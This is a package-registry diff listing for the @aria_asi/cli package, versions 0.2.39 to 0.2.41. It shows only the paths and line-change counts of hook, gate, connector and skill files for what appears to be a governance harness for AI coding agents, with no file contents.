@aria_asi/cli 0.2.39 → 0.2.41

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (802) hide show
  1. package/bin/aria.js +236 -34
  2. package/dist/aria-connector/src/action-ledger-core.d.ts +387 -0
  3. package/dist/aria-connector/src/action-ledger-core.d.ts.map +1 -0
  4. package/dist/aria-connector/src/action-ledger-core.js +638 -0
  5. package/dist/aria-connector/src/action-ledger-core.js.map +1 -0
  6. package/dist/aria-connector/src/chat.d.ts.map +1 -1
  7. package/dist/aria-connector/src/chat.js +5 -6
  8. package/dist/aria-connector/src/chat.js.map +1 -1
  9. package/dist/aria-connector/src/codebase-scanner.d.ts +1 -1
  10. package/dist/aria-connector/src/codebase-scanner.d.ts.map +1 -1
  11. package/dist/aria-connector/src/connectors/claude-code.d.ts +1 -0
  12. package/dist/aria-connector/src/connectors/claude-code.d.ts.map +1 -1
  13. package/dist/aria-connector/src/connectors/claude-code.js +152 -14
  14. package/dist/aria-connector/src/connectors/claude-code.js.map +1 -1
  15. package/dist/aria-connector/src/connectors/codebase-awareness.d.ts +10 -0
  16. package/dist/aria-connector/src/connectors/codebase-awareness.d.ts.map +1 -1
  17. package/dist/aria-connector/src/connectors/codebase-awareness.js +276 -27
  18. package/dist/aria-connector/src/connectors/codebase-awareness.js.map +1 -1
  19. package/dist/aria-connector/src/connectors/codex.d.ts +3 -1
  20. package/dist/aria-connector/src/connectors/codex.d.ts.map +1 -1
  21. package/dist/aria-connector/src/connectors/codex.js +1271 -40
  22. package/dist/aria-connector/src/connectors/codex.js.map +1 -1
  23. package/dist/aria-connector/src/connectors/cursor.d.ts.map +1 -1
  24. package/dist/aria-connector/src/connectors/cursor.js +7 -0
  25. package/dist/aria-connector/src/connectors/cursor.js.map +1 -1
  26. package/dist/aria-connector/src/connectors/governed-adapter.d.ts +30 -0
  27. package/dist/aria-connector/src/connectors/governed-adapter.d.ts.map +1 -0
  28. package/dist/aria-connector/src/connectors/governed-adapter.js +132 -0
  29. package/dist/aria-connector/src/connectors/governed-adapter.js.map +1 -0
  30. package/dist/aria-connector/src/connectors/opencode.d.ts +3 -1
  31. package/dist/aria-connector/src/connectors/opencode.d.ts.map +1 -1
  32. package/dist/aria-connector/src/connectors/opencode.js +18 -2
  33. package/dist/aria-connector/src/connectors/opencode.js.map +1 -1
  34. package/dist/aria-connector/src/connectors/repo-guard.d.ts.map +1 -1
  35. package/dist/aria-connector/src/connectors/repo-guard.js +25 -14
  36. package/dist/aria-connector/src/connectors/repo-guard.js.map +1 -1
  37. package/dist/aria-connector/src/connectors/runtime.d.ts.map +1 -1
  38. package/dist/aria-connector/src/connectors/runtime.js +92 -2
  39. package/dist/aria-connector/src/connectors/runtime.js.map +1 -1
  40. package/dist/aria-connector/src/connectors/shell.d.ts.map +1 -1
  41. package/dist/aria-connector/src/connectors/shell.js +123 -7
  42. package/dist/aria-connector/src/connectors/shell.js.map +1 -1
  43. package/dist/aria-connector/src/cross-cli-hive-binding.d.ts +63 -0
  44. package/dist/aria-connector/src/cross-cli-hive-binding.d.ts.map +1 -0
  45. package/dist/aria-connector/src/cross-cli-hive-binding.js +205 -0
  46. package/dist/aria-connector/src/cross-cli-hive-binding.js.map +1 -0
  47. package/dist/aria-connector/src/garden-control-plane.d.ts +6 -1
  48. package/dist/aria-connector/src/garden-control-plane.d.ts.map +1 -1
  49. package/dist/aria-connector/src/garden-control-plane.js +8 -2
  50. package/dist/aria-connector/src/garden-control-plane.js.map +1 -1
  51. package/dist/aria-connector/src/governed-surface-runner.d.ts +189 -0
  52. package/dist/aria-connector/src/governed-surface-runner.d.ts.map +1 -0
  53. package/dist/aria-connector/src/governed-surface-runner.js +1022 -0
  54. package/dist/aria-connector/src/governed-surface-runner.js.map +1 -0
  55. package/dist/aria-connector/src/index.d.ts +10 -1
  56. package/dist/aria-connector/src/index.d.ts.map +1 -1
  57. package/dist/aria-connector/src/index.js +5 -0
  58. package/dist/aria-connector/src/index.js.map +1 -1
  59. package/dist/aria-connector/src/task-runner.d.ts +3 -0
  60. package/dist/aria-connector/src/task-runner.d.ts.map +1 -0
  61. package/dist/aria-connector/src/task-runner.js +3526 -0
  62. package/dist/aria-connector/src/task-runner.js.map +1 -0
  63. package/dist/aria-web/src/lib/codebase-scanner.d.ts +21 -2
  64. package/dist/aria-web/src/lib/codebase-scanner.d.ts.map +1 -1
  65. package/dist/aria-web/src/lib/codebase-scanner.js +59 -14
  66. package/dist/aria-web/src/lib/codebase-scanner.js.map +1 -1
  67. package/dist/assets/hooks/README.md +58 -0
  68. package/dist/assets/hooks/aria-agent-handoff.mjs +147 -2
  69. package/dist/assets/hooks/aria-agent-ledger-merge.mjs +31 -7
  70. package/dist/assets/hooks/aria-architect-fallback.mjs +10 -2
  71. package/dist/assets/hooks/aria-claim-evidence-stop-gate.mjs +240 -0
  72. package/dist/assets/hooks/aria-cognition-substrate-binding.mjs +84 -10
  73. package/dist/assets/hooks/aria-first-class-coach.mjs +305 -10
  74. package/dist/assets/hooks/aria-harness-via-sdk.mjs +93 -16
  75. package/dist/assets/hooks/aria-import-resolution-gate.mjs +106 -20
  76. package/dist/assets/hooks/aria-outcome-record.mjs +56 -20
  77. package/dist/assets/hooks/aria-pre-emit-autoload.mjs +1809 -0
  78. package/dist/assets/hooks/aria-pre-emit-autoload.mjs.before-orchestration-redesign +1400 -0
  79. package/dist/assets/hooks/aria-pre-emit-dryrun.mjs +22 -3
  80. package/dist/assets/hooks/aria-pre-text-gate.mjs +11 -2
  81. package/dist/assets/hooks/aria-pre-tool-gate.mjs +516 -92
  82. package/dist/assets/hooks/aria-pre-tool-use.mjs +70 -6
  83. package/dist/assets/hooks/aria-preprompt-consult.mjs +23 -4
  84. package/dist/assets/hooks/aria-repo-doctrine-gate.mjs +29 -3
  85. package/dist/assets/hooks/aria-stop-gate.mjs +585 -76
  86. package/dist/assets/hooks/aria-trigger-autolearn.mjs +17 -3
  87. package/dist/assets/hooks/aria-universal-turn-packet.mjs +1165 -0
  88. package/dist/assets/hooks/aria-userprompt-abandon-detect.mjs +9 -1
  89. package/dist/assets/hooks/canonical-settings-block.json +172 -0
  90. package/dist/assets/hooks/codex-native/aria-harness-ticker-sidecar.mjs +92 -0
  91. package/dist/assets/hooks/codex-native/aria-hive-wal-consumer.mjs +86 -0
  92. package/dist/assets/hooks/codex-native/aria-live-ticker.mjs +38 -0
  93. package/dist/assets/hooks/codex-native/aria-post-tool-use.mjs +236 -0
  94. package/dist/assets/hooks/codex-native/aria-pre-tool-use.mjs +362 -0
  95. package/dist/assets/hooks/codex-native/aria-stop.mjs +691 -0
  96. package/dist/assets/hooks/codex-native/aria-userprompt-submit.mjs +623 -0
  97. package/dist/assets/hooks/codex-native/atlas-session-context.mjs +121 -0
  98. package/dist/assets/hooks/codex-native/lib/evaluate-with-kernel.mjs +257 -0
  99. package/dist/assets/hooks/codex-native/lib/hive-wal-consumer.mjs +452 -0
  100. package/dist/assets/hooks/codex-native/lib/kernel/deterministic-cognitive-kernel.mjs +914 -0
  101. package/dist/assets/hooks/codex-native/lib/project-boundary-cognition.mjs +143 -0
  102. package/dist/assets/hooks/codex-native/lib/runtime-client.mjs +3567 -0
  103. package/dist/assets/hooks/codex-native/lib/task-project-ledger.mjs +294 -0
  104. package/dist/assets/hooks/doctrine_trigger_map.json +236 -25
  105. package/dist/assets/hooks/doctrine_trigger_map.schema.json +46 -0
  106. package/dist/assets/hooks/install.sh +84 -0
  107. package/dist/assets/hooks/lib/action-ledger-core.mjs +269 -0
  108. package/dist/assets/hooks/lib/aria-gate-ledger.mjs +143 -0
  109. package/dist/assets/hooks/lib/ast-stub-shape-detector.mjs +107 -0
  110. package/dist/assets/hooks/lib/atlas-dossier-client.mjs +151 -0
  111. package/dist/assets/hooks/lib/atlas-orchestrator-postwire.mjs +221 -0
  112. package/dist/assets/hooks/lib/canonical-lenses.mjs +83 -6
  113. package/dist/assets/hooks/lib/coach-intent-classifier.mjs +248 -0
  114. package/dist/assets/hooks/lib/cognitive-block-parser.mjs +111 -0
  115. package/dist/assets/hooks/lib/doctrine-trigger-map-loader.mjs +137 -0
  116. package/dist/assets/hooks/lib/domain-output-quality.mjs +132 -3
  117. package/dist/assets/hooks/lib/empty-catch-scanner.mjs +91 -0
  118. package/dist/assets/hooks/lib/end-phase-qa-autofire.mjs +426 -0
  119. package/dist/assets/hooks/lib/evaluate-with-kernel.mjs +133 -0
  120. package/dist/assets/hooks/lib/first-class-coach.mjs +454 -19
  121. package/dist/assets/hooks/lib/gate-audit.mjs +12 -2
  122. package/dist/assets/hooks/lib/gate-loop-state.mjs +11 -2
  123. package/dist/assets/hooks/lib/goal-contract-quality.mjs +302 -0
  124. package/dist/assets/hooks/lib/hook-message-window.mjs +101 -9
  125. package/dist/assets/hooks/lib/invocation-required-verifier.mjs +184 -0
  126. package/dist/assets/hooks/lib/kernel/deterministic-cognitive-kernel.mjs +906 -0
  127. package/dist/assets/hooks/lib/obligation-ledger.mjs +147 -0
  128. package/dist/assets/hooks/lib/orchestration-manifest-extract.mjs +217 -0
  129. package/dist/assets/hooks/lib/owner-authorizations.mjs +269 -0
  130. package/dist/assets/hooks/lib/probe-discipline-scanner.mjs +142 -0
  131. package/dist/assets/hooks/lib/project-boundary-cognition.mjs +143 -0
  132. package/dist/assets/hooks/lib/recovery-context.mjs +151 -0
  133. package/dist/assets/hooks/lib/recovery-template-loader.mjs +154 -0
  134. package/dist/assets/hooks/lib/self-doctrine-check.mjs +321 -0
  135. package/dist/assets/hooks/lib/sensitive-shape-detector.mjs +64 -0
  136. package/dist/assets/hooks/lib/skill-autoload-gate-impl.mjs +226 -1
  137. package/dist/assets/hooks/lib/stop-hook-protocol.mjs +166 -0
  138. package/dist/assets/hooks/lib/surface-caught.mjs +94 -0
  139. package/dist/assets/hooks/recovery-templates/force-reauthor.md +67 -0
  140. package/dist/assets/hooks/recovery-templates/handoff-recovery.md +25 -0
  141. package/dist/assets/hooks/scripts/check-hard-risk-prefix.mjs +99 -0
  142. package/dist/assets/hooks/skills/aria-conversational-doctrine-discipline/SKILL.md +101 -0
  143. package/dist/assets/hooks/test-aria-preturn-memory-gate.mjs +2 -2
  144. package/dist/assets/hooks/test-tier-lens-labeling.mjs +14 -3
  145. package/dist/assets/opencode-plugins/harness-context/index.js +39 -6
  146. package/dist/assets/opencode-plugins/harness-context/task-project-ledger.mjs +5 -1
  147. package/dist/assets/opencode-plugins/harness-gate/index.js +36 -0
  148. package/dist/assets/opencode-plugins/harness-gate/lib/atlas-dossier-client.js +1 -0
  149. package/dist/assets/opencode-plugins/harness-gate/lib/recovery-grants.js +79 -0
  150. package/dist/assets/opencode-plugins/harness-outcome/index.js +12 -0
  151. package/dist/assets/opencode-plugins/harness-stop/index.js +97 -2
  152. package/dist/assets/opencode-plugins/harness-stop/lib/atlas-dossier-client.js +1 -0
  153. package/dist/assets/opencode-plugins/harness-stop/lib/domain-output-quality.js +15 -2
  154. package/dist/assets/opencode-plugins/lib/coach.js +148 -0
  155. package/dist/runtime/coach-kernel.mjs +144 -7
  156. package/dist/runtime/codex-bridge.mjs +254 -8
  157. package/dist/runtime/discipline/doctrine_trigger_map.json +236 -25
  158. package/dist/runtime/discipline/skills/aria-cognition/34-frameworks-unified/SKILL.md +42 -0
  159. package/dist/runtime/discipline/skills/aria-cognition/aria-aristotle-cognitives/SKILL.md +128 -0
  160. package/dist/runtime/discipline/skills/aria-cognition/aria-aristotle-intra-phase/SKILL.md +99 -0
  161. package/dist/runtime/discipline/skills/aria-cognition/aria-aristotle-post-phase/SKILL.md +118 -0
  162. package/dist/runtime/discipline/skills/aria-cognition/aria-aristotle-pre-phase/SKILL.md +117 -0
  163. package/dist/runtime/discipline/skills/aria-cognition/aria-axioms-first-principles/SKILL.md +202 -0
  164. package/dist/runtime/discipline/skills/aria-cognition/aria-axioms-first-principles/agents/openai.yaml +4 -0
  165. package/dist/runtime/discipline/skills/aria-cognition/aria-axioms-first-principles/references/source-map.md +130 -0
  166. package/dist/runtime/discipline/skills/aria-cognition/aria-backend-architect/SKILL.md +124 -0
  167. package/dist/runtime/discipline/skills/aria-cognition/aria-backend-architect/references/backend-cookbook.md +417 -0
  168. package/dist/runtime/discipline/skills/aria-cognition/aria-business-audit/SKILL.md +133 -0
  169. package/dist/runtime/discipline/skills/aria-cognition/aria-business-audit/references/audit-cookbook.md +247 -0
  170. package/dist/runtime/discipline/skills/aria-cognition/aria-business-frame/SKILL.md +138 -0
  171. package/dist/runtime/discipline/skills/aria-cognition/aria-business-frame/references/business-cookbook.md +154 -0
  172. package/dist/runtime/discipline/skills/aria-cognition/aria-chat/SKILL.md +84 -0
  173. package/dist/runtime/discipline/skills/aria-cognition/aria-chat/scripts/aria-chat.sh +57 -0
  174. package/dist/runtime/discipline/skills/aria-cognition/aria-cognition-autofire/SKILL.md +137 -0
  175. package/dist/runtime/discipline/skills/aria-cognition/aria-cognition-batch/SKILL.md +264 -0
  176. package/dist/runtime/discipline/skills/aria-cognition/aria-decision-mizan/SKILL.md +136 -0
  177. package/dist/runtime/discipline/skills/aria-cognition/aria-decision-mizan/references/decision-frameworks.md +287 -0
  178. package/dist/runtime/discipline/skills/aria-cognition/aria-first-class-operating-contract/SKILL.md +104 -0
  179. package/dist/runtime/discipline/skills/aria-cognition/aria-frontend-architect/SKILL.md +123 -0
  180. package/dist/runtime/discipline/skills/aria-cognition/aria-frontend-architect/references/frontend-cookbook.md +358 -0
  181. package/dist/runtime/discipline/skills/aria-cognition/aria-fullstack-orchestrator/SKILL.md +127 -0
  182. package/dist/runtime/discipline/skills/aria-cognition/aria-fullstack-orchestrator/references/fullstack-cookbook.md +383 -0
  183. package/dist/runtime/discipline/skills/aria-cognition/aria-gtm-architect/SKILL.md +126 -0
  184. package/dist/runtime/discipline/skills/aria-cognition/aria-gtm-architect/references/gtm-cookbook.md +235 -0
  185. package/dist/runtime/discipline/skills/aria-cognition/aria-harness-deploy/SKILL.md +145 -0
  186. package/dist/runtime/discipline/skills/aria-cognition/aria-harness-no-stripping/SKILL.md +135 -0
  187. package/dist/runtime/discipline/skills/aria-cognition/aria-harness-onboarding/SKILL.md +130 -0
  188. package/dist/runtime/discipline/skills/aria-cognition/aria-harness-output-discipline/SKILL.md +120 -0
  189. package/dist/runtime/discipline/skills/aria-cognition/aria-harness-substrate-binding/SKILL.md +139 -0
  190. package/dist/runtime/discipline/skills/aria-cognition/aria-http-harness-client/SKILL.md +85 -0
  191. package/dist/runtime/discipline/skills/aria-cognition/aria-http-harness-client/scripts/smoke.mjs +47 -0
  192. package/dist/runtime/discipline/skills/aria-cognition/aria-k8s-deploy/SKILL.md +174 -0
  193. package/dist/runtime/discipline/skills/aria-cognition/aria-k8s-deploy/agents/openai.yaml +3 -0
  194. package/dist/runtime/discipline/skills/aria-cognition/aria-ladduniframe/SKILL.md +60 -0
  195. package/dist/runtime/discipline/skills/aria-cognition/aria-ledger-fleet-execution/SKILL.md +126 -0
  196. package/dist/runtime/discipline/skills/aria-cognition/aria-live-ops/SKILL.md +54 -0
  197. package/dist/runtime/discipline/skills/aria-cognition/aria-mac-ssh-ops/SKILL.md +100 -0
  198. package/dist/runtime/discipline/skills/aria-cognition/aria-memory-index/SKILL.md +42 -0
  199. package/dist/runtime/discipline/skills/aria-cognition/aria-noor-cognitives/SKILL.md +120 -0
  200. package/dist/runtime/discipline/skills/aria-cognition/aria-ops/SKILL.md +60 -0
  201. package/dist/runtime/discipline/skills/aria-cognition/aria-ops/references/live-endpoints.md +59 -0
  202. package/dist/runtime/discipline/skills/aria-cognition/aria-quality-audit/SKILL.md +133 -0
  203. package/dist/runtime/discipline/skills/aria-cognition/aria-readable-output/SKILL.md +239 -0
  204. package/dist/runtime/discipline/skills/aria-cognition/aria-readable-output/references/layout-cookbook.md +366 -0
  205. package/dist/runtime/discipline/skills/aria-cognition/aria-reasoning/SKILL.md +67 -0
  206. package/dist/runtime/discipline/skills/aria-cognition/aria-reasoning/references/core-principles.md +42 -0
  207. package/dist/runtime/discipline/skills/aria-cognition/aria-repo-audit/SKILL.md +135 -0
  208. package/dist/runtime/discipline/skills/aria-cognition/aria-repo-audit/references/repo-audit-cookbook.md +375 -0
  209. package/dist/runtime/discipline/skills/aria-cognition/aria-research-orchestrator/SKILL.md +138 -0
  210. package/dist/runtime/discipline/skills/aria-cognition/aria-research-orchestrator/references/research-patterns.md +270 -0
  211. package/dist/runtime/discipline/skills/aria-cognition/aria-retention-engine/SKILL.md +120 -0
  212. package/dist/runtime/discipline/skills/aria-cognition/aria-retention-engine/references/retention-cookbook.md +271 -0
  213. package/dist/runtime/discipline/skills/aria-cognition/aria-revenue-engine/SKILL.md +128 -0
  214. package/dist/runtime/discipline/skills/aria-cognition/aria-revenue-engine/references/revenue-cookbook.md +227 -0
  215. package/dist/runtime/discipline/skills/aria-cognition/aria-senior-code-audit/SKILL.md +233 -0
  216. package/dist/runtime/discipline/skills/aria-cognition/aria-senior-code-audit/references/audit-checklist.md +369 -0
  217. package/dist/runtime/discipline/skills/aria-cognition/aria-senior-code-cookbook/SKILL.md +288 -0
  218. package/dist/runtime/discipline/skills/aria-cognition/aria-senior-code-cookbook/references/engineering-cookbook.md +489 -0
  219. package/dist/runtime/discipline/skills/aria-cognition/aria-soul-principles/SKILL.md +42 -0
  220. package/dist/runtime/discipline/skills/aria-cognition/aria-task-codex-executor/SKILL.md +86 -0
  221. package/dist/runtime/discipline/skills/aria-cognition/aristotle-engine/SKILL.md +42 -0
  222. package/dist/runtime/discipline/skills/aria-cognition/cross-domain-24/SKILL.md +42 -0
  223. package/dist/runtime/discipline/skills/aria-cognition/deepsoul-emotional/SKILL.md +42 -0
  224. package/dist/runtime/discipline/skills/aria-cognition/fitrah-guard/SKILL.md +78 -0
  225. package/dist/runtime/discipline/skills/aria-cognition/ghazali-8lens/SKILL.md +227 -29
  226. package/dist/runtime/discipline/skills/aria-cognition/ghazali-8lens/references/ghazali-8lens-cookbook.md +797 -0
  227. package/dist/runtime/discipline/skills/aria-cognition/ijtihad-novel/SKILL.md +42 -0
  228. package/dist/runtime/discipline/skills/aria-cognition/ilham-intuition/SKILL.md +42 -0
  229. package/dist/runtime/discipline/skills/aria-cognition/never-guess/SKILL.md +77 -0
  230. package/dist/runtime/discipline/skills/aria-cognition/noor-recognition/SKILL.md +45 -0
  231. package/dist/runtime/discipline/skills/aria-cognition/qiyas-analogy/SKILL.md +174 -14
  232. package/dist/runtime/discipline/skills/aria-cognition/ruh-basis/SKILL.md +42 -0
  233. package/dist/runtime/discipline/skills/aria-cognition/tadabbur/SKILL.md +506 -0
  234. package/dist/runtime/discipline/skills/aria-cognition/tadabbur/references/tadabbur-cookbook.md +921 -0
  235. package/dist/runtime/discipline/skills/aria-cognition/tadabbur-ops/SKILL.md +42 -0
  236. package/dist/runtime/discipline/skills/aria-cognition/tafakkur/SKILL.md +104 -0
  237. package/dist/runtime/doctrine_trigger_map.json +236 -25
  238. package/dist/runtime/embedded-public-key.mjs +27 -0
  239. package/dist/runtime/gated-ledger.mjs +41 -14
  240. package/dist/runtime/harness-daemon.mjs +85 -10
  241. package/dist/runtime/hive-wal-publisher.mjs +292 -0
  242. package/dist/runtime/hooks/README.md +58 -0
  243. package/dist/runtime/hooks/aria-agent-handoff.mjs +147 -2
  244. package/dist/runtime/hooks/aria-agent-ledger-merge.mjs +31 -7
  245. package/dist/runtime/hooks/aria-architect-fallback.mjs +10 -2
  246. package/dist/runtime/hooks/aria-claim-evidence-stop-gate.mjs +240 -0
  247. package/dist/runtime/hooks/aria-cognition-substrate-binding.mjs +84 -10
  248. package/dist/runtime/hooks/aria-first-class-coach.mjs +305 -10
  249. package/dist/runtime/hooks/aria-harness-via-sdk.mjs +93 -16
  250. package/dist/runtime/hooks/aria-import-resolution-gate.mjs +106 -20
  251. package/dist/runtime/hooks/aria-outcome-record.mjs +56 -20
  252. package/dist/runtime/hooks/aria-pre-emit-autoload.mjs +1809 -0
  253. package/dist/runtime/hooks/aria-pre-emit-autoload.mjs.before-orchestration-redesign +1400 -0
  254. package/dist/runtime/hooks/aria-pre-emit-dryrun.mjs +22 -3
  255. package/dist/runtime/hooks/aria-pre-text-gate.mjs +11 -2
  256. package/dist/runtime/hooks/aria-pre-tool-gate.mjs +516 -92
  257. package/dist/runtime/hooks/aria-pre-tool-use.mjs +70 -6
  258. package/dist/runtime/hooks/aria-preprompt-consult.mjs +23 -4
  259. package/dist/runtime/hooks/aria-repo-doctrine-gate.mjs +29 -3
  260. package/dist/runtime/hooks/aria-stop-gate.mjs +585 -76
  261. package/dist/runtime/hooks/aria-trigger-autolearn.mjs +17 -3
  262. package/dist/runtime/hooks/aria-universal-turn-packet.mjs +1165 -0
  263. package/dist/runtime/hooks/aria-userprompt-abandon-detect.mjs +9 -1
  264. package/dist/runtime/hooks/canonical-settings-block.json +172 -0
  265. package/dist/runtime/hooks/codex-native/aria-harness-ticker-sidecar.mjs +92 -0
  266. package/dist/runtime/hooks/codex-native/aria-hive-wal-consumer.mjs +86 -0
  267. package/dist/runtime/hooks/codex-native/aria-live-ticker.mjs +38 -0
  268. package/dist/runtime/hooks/codex-native/aria-post-tool-use.mjs +236 -0
  269. package/dist/runtime/hooks/codex-native/aria-pre-tool-use.mjs +362 -0
  270. package/dist/runtime/hooks/codex-native/aria-stop.mjs +691 -0
  271. package/dist/runtime/hooks/codex-native/aria-userprompt-submit.mjs +623 -0
  272. package/dist/runtime/hooks/codex-native/atlas-session-context.mjs +121 -0
  273. package/dist/runtime/hooks/codex-native/lib/evaluate-with-kernel.mjs +257 -0
  274. package/dist/runtime/hooks/codex-native/lib/hive-wal-consumer.mjs +452 -0
  275. package/dist/runtime/hooks/codex-native/lib/kernel/deterministic-cognitive-kernel.mjs +914 -0
  276. package/dist/runtime/hooks/codex-native/lib/project-boundary-cognition.mjs +143 -0
  277. package/dist/runtime/hooks/codex-native/lib/runtime-client.mjs +3567 -0
  278. package/dist/runtime/hooks/codex-native/lib/task-project-ledger.mjs +294 -0
  279. package/dist/runtime/hooks/doctrine_trigger_map.json +236 -25
  280. package/dist/runtime/hooks/doctrine_trigger_map.schema.json +46 -0
  281. package/dist/runtime/hooks/install.sh +84 -0
  282. package/dist/runtime/hooks/lib/action-ledger-core.mjs +269 -0
  283. package/dist/runtime/hooks/lib/aria-gate-ledger.mjs +143 -0
  284. package/dist/runtime/hooks/lib/ast-stub-shape-detector.mjs +107 -0
  285. package/dist/runtime/hooks/lib/atlas-dossier-client.mjs +151 -0
  286. package/dist/runtime/hooks/lib/atlas-orchestrator-postwire.mjs +221 -0
  287. package/dist/runtime/hooks/lib/canonical-lenses.mjs +83 -6
  288. package/dist/runtime/hooks/lib/coach-intent-classifier.mjs +248 -0
  289. package/dist/runtime/hooks/lib/cognitive-block-parser.mjs +111 -0
  290. package/dist/runtime/hooks/lib/doctrine-trigger-map-loader.mjs +137 -0
  291. package/dist/runtime/hooks/lib/domain-output-quality.mjs +132 -3
  292. package/dist/runtime/hooks/lib/empty-catch-scanner.mjs +91 -0
  293. package/dist/runtime/hooks/lib/end-phase-qa-autofire.mjs +426 -0
  294. package/dist/runtime/hooks/lib/evaluate-with-kernel.mjs +133 -0
  295. package/dist/runtime/hooks/lib/first-class-coach.mjs +454 -19
  296. package/dist/runtime/hooks/lib/gate-audit.mjs +12 -2
  297. package/dist/runtime/hooks/lib/gate-loop-state.mjs +11 -2
  298. package/dist/runtime/hooks/lib/goal-contract-quality.mjs +302 -0
  299. package/dist/runtime/hooks/lib/hook-message-window.mjs +101 -9
  300. package/dist/runtime/hooks/lib/invocation-required-verifier.mjs +184 -0
  301. package/dist/runtime/hooks/lib/kernel/deterministic-cognitive-kernel.mjs +906 -0
  302. package/dist/runtime/hooks/lib/obligation-ledger.mjs +147 -0
  303. package/dist/runtime/hooks/lib/orchestration-manifest-extract.mjs +217 -0
  304. package/dist/runtime/hooks/lib/owner-authorizations.mjs +269 -0
  305. package/dist/runtime/hooks/lib/probe-discipline-scanner.mjs +142 -0
  306. package/dist/runtime/hooks/lib/project-boundary-cognition.mjs +143 -0
  307. package/dist/runtime/hooks/lib/recovery-context.mjs +151 -0
  308. package/dist/runtime/hooks/lib/recovery-template-loader.mjs +154 -0
  309. package/dist/runtime/hooks/lib/self-doctrine-check.mjs +321 -0
  310. package/dist/runtime/hooks/lib/sensitive-shape-detector.mjs +64 -0
  311. package/dist/runtime/hooks/lib/skill-autoload-gate-impl.mjs +226 -1
  312. package/dist/runtime/hooks/lib/stop-hook-protocol.mjs +166 -0
  313. package/dist/runtime/hooks/lib/surface-caught.mjs +94 -0
  314. package/dist/runtime/hooks/recovery-templates/force-reauthor.md +67 -0
  315. package/dist/runtime/hooks/recovery-templates/handoff-recovery.md +25 -0
  316. package/dist/runtime/hooks/scripts/check-hard-risk-prefix.mjs +99 -0
  317. package/dist/runtime/hooks/skills/aria-conversational-doctrine-discipline/SKILL.md +101 -0
  318. package/dist/runtime/hooks/test-aria-preturn-memory-gate.mjs +2 -2
  319. package/dist/runtime/hooks/test-tier-lens-labeling.mjs +14 -3
  320. package/dist/runtime/lib/evaluate-with-kernel.mjs +133 -0
  321. package/dist/runtime/lib/kernel/deterministic-cognitive-kernel.mjs +906 -0
  322. package/dist/runtime/local-phase.mjs +10 -5
  323. package/dist/runtime/manifest.json +8 -8
  324. package/dist/runtime/packet-verifier.mjs +166 -0
  325. package/dist/runtime/provider-proxy.mjs +13 -0
  326. package/dist/runtime/quality-enforcer.mjs +40 -23
  327. package/dist/runtime/runtime-rails/registry.mjs +252 -0
  328. package/dist/runtime/sdk/BUNDLED.json +2 -2
  329. package/dist/runtime/sdk/index.d.ts +119 -4
  330. package/dist/runtime/sdk/index.js +138 -12
  331. package/dist/runtime/sdk/index.js.map +1 -1
  332. package/dist/runtime/service.mjs +8036 -764
  333. package/dist/runtime/sub-agent-enforcer.mjs +201 -0
  334. package/dist/runtime/task-project-ledger.mjs +5 -1
  335. package/dist/sdk/BUNDLED.json +2 -2
  336. package/dist/sdk/index.d.ts +119 -4
  337. package/dist/sdk/index.js +138 -12
  338. package/dist/sdk/index.js.map +1 -1
  339. package/hooks/README.md +58 -0
  340. package/hooks/aria-agent-handoff.mjs +147 -2
  341. package/hooks/aria-agent-ledger-merge.mjs +31 -7
  342. package/hooks/aria-architect-fallback.mjs +10 -2
  343. package/hooks/aria-claim-evidence-stop-gate.mjs +240 -0
  344. package/hooks/aria-cognition-substrate-binding.mjs +84 -10
  345. package/hooks/aria-first-class-coach.mjs +305 -10
  346. package/hooks/aria-harness-via-sdk.mjs +93 -16
  347. package/hooks/aria-import-resolution-gate.mjs +106 -20
  348. package/hooks/aria-outcome-record.mjs +56 -20
  349. package/hooks/aria-pre-emit-autoload.mjs +1809 -0
  350. package/hooks/aria-pre-emit-autoload.mjs.before-orchestration-redesign +1400 -0
  351. package/hooks/aria-pre-emit-dryrun.mjs +22 -3
  352. package/hooks/aria-pre-text-gate.mjs +11 -2
  353. package/hooks/aria-pre-tool-gate.mjs +516 -92
  354. package/hooks/aria-pre-tool-use.mjs +70 -6
  355. package/hooks/aria-preprompt-consult.mjs +23 -4
  356. package/hooks/aria-repo-doctrine-gate.mjs +29 -3
  357. package/hooks/aria-stop-gate.mjs +585 -76
  358. package/hooks/aria-trigger-autolearn.mjs +17 -3
  359. package/hooks/aria-universal-turn-packet.mjs +1165 -0
  360. package/hooks/aria-userprompt-abandon-detect.mjs +9 -1
  361. package/hooks/canonical-settings-block.json +172 -0
  362. package/hooks/codex-native/aria-harness-ticker-sidecar.mjs +92 -0
  363. package/hooks/codex-native/aria-hive-wal-consumer.mjs +86 -0
  364. package/hooks/codex-native/aria-live-ticker.mjs +38 -0
  365. package/hooks/codex-native/aria-post-tool-use.mjs +236 -0
  366. package/hooks/codex-native/aria-pre-tool-use.mjs +362 -0
  367. package/hooks/codex-native/aria-stop.mjs +691 -0
  368. package/hooks/codex-native/aria-userprompt-submit.mjs +623 -0
  369. package/hooks/codex-native/atlas-session-context.mjs +121 -0
  370. package/hooks/codex-native/lib/evaluate-with-kernel.mjs +257 -0
  371. package/hooks/codex-native/lib/hive-wal-consumer.mjs +452 -0
  372. package/hooks/codex-native/lib/kernel/deterministic-cognitive-kernel.mjs +914 -0
  373. package/hooks/codex-native/lib/project-boundary-cognition.mjs +143 -0
  374. package/hooks/codex-native/lib/runtime-client.mjs +3567 -0
  375. package/hooks/codex-native/lib/task-project-ledger.mjs +294 -0
  376. package/hooks/doctrine_trigger_map.json +236 -25
  377. package/hooks/doctrine_trigger_map.schema.json +46 -0
  378. package/hooks/install.sh +84 -0
  379. package/hooks/lib/action-ledger-core.mjs +269 -0
  380. package/hooks/lib/aria-gate-ledger.mjs +143 -0
  381. package/hooks/lib/ast-stub-shape-detector.mjs +107 -0
  382. package/hooks/lib/atlas-dossier-client.mjs +151 -0
  383. package/hooks/lib/atlas-orchestrator-postwire.mjs +221 -0
  384. package/hooks/lib/canonical-lenses.mjs +83 -6
  385. package/hooks/lib/coach-intent-classifier.mjs +248 -0
  386. package/hooks/lib/cognitive-block-parser.mjs +111 -0
  387. package/hooks/lib/doctrine-trigger-map-loader.mjs +137 -0
  388. package/hooks/lib/domain-output-quality.mjs +132 -3
  389. package/hooks/lib/empty-catch-scanner.mjs +91 -0
  390. package/hooks/lib/end-phase-qa-autofire.mjs +426 -0
  391. package/hooks/lib/evaluate-with-kernel.mjs +133 -0
  392. package/hooks/lib/first-class-coach.mjs +454 -19
  393. package/hooks/lib/gate-audit.mjs +12 -2
  394. package/hooks/lib/gate-loop-state.mjs +11 -2
